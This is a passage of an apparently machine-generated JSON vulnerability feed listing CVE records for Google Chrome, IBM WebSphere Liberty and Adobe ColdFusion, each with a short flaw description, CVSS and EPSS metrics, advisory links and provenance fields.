Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110165","asOf":"2026-10-15T04:18:21.510Z"},"epss":{"probability":0.00391,"percentile":0.32981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110165&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110165","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110165","type":"primary","publishedAt":"2026-10-13T22:17:36.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110165&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110165, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110161","cveId":"CVE-2026-110161","aliases":[],"kind":"vulnerability","title":"Use after free in Network in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic.","summary":"Use after free in Network in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Critical)","detail":"Use after free in Network in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:36.050Z","updatedAt":"2026-10-15T04:18:20.760Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110161","asOf":"2026-10-15T04:18:20.760Z"},"epss":{"probability":0.0041,"percentile":0.3495,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110161","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110161","type":"primary","publishedAt":"2026-10-13T22:17:36.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110159","cveId":"CVE-2026-110159","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in Updater in Google Chrome prior to 155.0.8059.79 allowed a local attacker to execute arbitrary code outside the sandbox via a local program.","summary":"Incorrect authorization in Updater in Google Chrome prior to 155.0.8059.79 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)","detail":"Incorrect authorization in Updater in Google Chrome prior to 155.0.8059.79 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:35.833Z","updatedAt":"2026-10-15T04:18:20.570Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110159","asOf":"2026-10-15T04:18:20.570Z"},"epss":{"probability":0.00243,"percentile":0.15328,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110159&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110159","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110159","type":"primary","publishedAt":"2026-10-13T22:17:35.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110159&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110159, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110152","cveId":"CVE-2026-110152","aliases":[],"kind":"vulnerability","title":"Buffer overflow in ANGLE in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...","summary":"Buffer overflow in ANGLE in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Buffer overflow in ANGLE in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:35.077Z","updatedAt":"2026-10-15T04:18:19.277Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110152","asOf":"2026-10-15T04:18:19.277Z"},"epss":{"probability":0.00519,"percentile":0.43859,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110152&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110152","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110152","type":"primary","publishedAt":"2026-10-13T22:17:35.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110152&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110152, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110149","cveId":"CVE-2026-110149","aliases":[],"kind":"vulnerability","title":"Use after free in Browser in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Use after free in Browser in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Browser in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:34.737Z","updatedAt":"2026-10-15T04:18:18.853Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110149","asOf":"2026-10-15T04:18:18.853Z"},"epss":{"probability":0.00407,"percentile":0.34681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110149","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110149","type":"primary","publishedAt":"2026-10-13T22:17:34.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110142","cveId":"CVE-2026-110142","aliases":[],"kind":"vulnerability","title":"Use after free in FileSystem in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Use after free in FileSystem in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in FileSystem in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:33.993Z","updatedAt":"2026-10-15T04:18:17.770Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110142","asOf":"2026-10-15T04:18:17.770Z"},"epss":{"probability":0.00325,"percentile":0.25293,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110142&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110142","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110142","type":"primary","publishedAt":"2026-10-13T22:17:33.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110142&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110142, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110136","cveId":"CVE-2026-110136","aliases":[],"kind":"vulnerability","title":"Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:33.330Z","updatedAt":"2026-10-15T04:18:17.047Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110136","asOf":"2026-10-15T04:18:17.047Z"},"epss":{"probability":0.00432,"percentile":0.37267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110136","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110136","type":"primary","publishedAt":"2026-10-13T22:17:33.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93909","cveId":"CVE-2026-93909","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 is vulnerable by an authentication bypass vulnerability when samlWeb-2.0 feature is enabled.","summary":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 is vulnerable by an authentication bypass vulnerability when samlWeb-2.0 feature is enabled.","detail":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 is vulnerable by an authentication bypass vulnerability when samlWeb-2.0 feature is enabled.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:57.977Z","updatedAt":"2026-10-22T18:56:26.697Z","regions":["Global"],"vendor":"ibm","product":"websphere application server","stacks":["IBM","websphere application server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93909","asOf":"2026-10-22T18:56:26.697Z"},"epss":{"probability":0.00337,"percentile":0.26801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93909&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93909","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93909","type":"primary","publishedAt":"2026-10-13T21:19:57.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292236","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93909&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93909, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93895","cveId":"CVE-2026-93895","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow an unauthenticated remote attacker to bypass access controls configured on gRPC service methods.","summary":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow an unauthenticated remote attacker to bypass access controls configured on gRPC service methods.","detail":"IBM WebSphere Application Server - Liberty 20.0.0.12 through 26.0.0.10 could allow an unauthenticated remote attacker to bypass access controls configured on gRPC service methods.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:57.743Z","updatedAt":"2026-10-22T18:55:12.890Z","regions":["Global"],"vendor":"ibm","product":"websphere application server","stacks":["IBM","websphere application server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93895","asOf":"2026-10-22T18:55:12.890Z"},"epss":{"probability":0.00394,"percentile":0.33359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93895","type":"primary","publishedAt":"2026-10-13T21:19:57.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292228","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75994","cveId":"CVE-2026-75994","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:18:20.380Z","updatedAt":"2026-10-20T19:06:18.643Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75994","asOf":"2026-10-20T19:06:18.643Z"},"epss":{"probability":0.00323,"percentile":0.25149,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75994&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75994","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75994","type":"primary","publishedAt":"2026-10-13T21:18:20.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75994&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75994, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106624","cveId":"CVE-2026-106624","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current...","summary":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:31.703Z","updatedAt":"2026-10-15T18:29:41.370Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106624","asOf":"2026-10-15T18:29:41.370Z"},"epss":{"probability":0.01112,"percentile":0.65748,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106624&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106624","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106624","type":"primary","publishedAt":"2026-10-13T21:17:31.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106624&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106624, scored 2026-10-25. This is a model estimate, not proof of 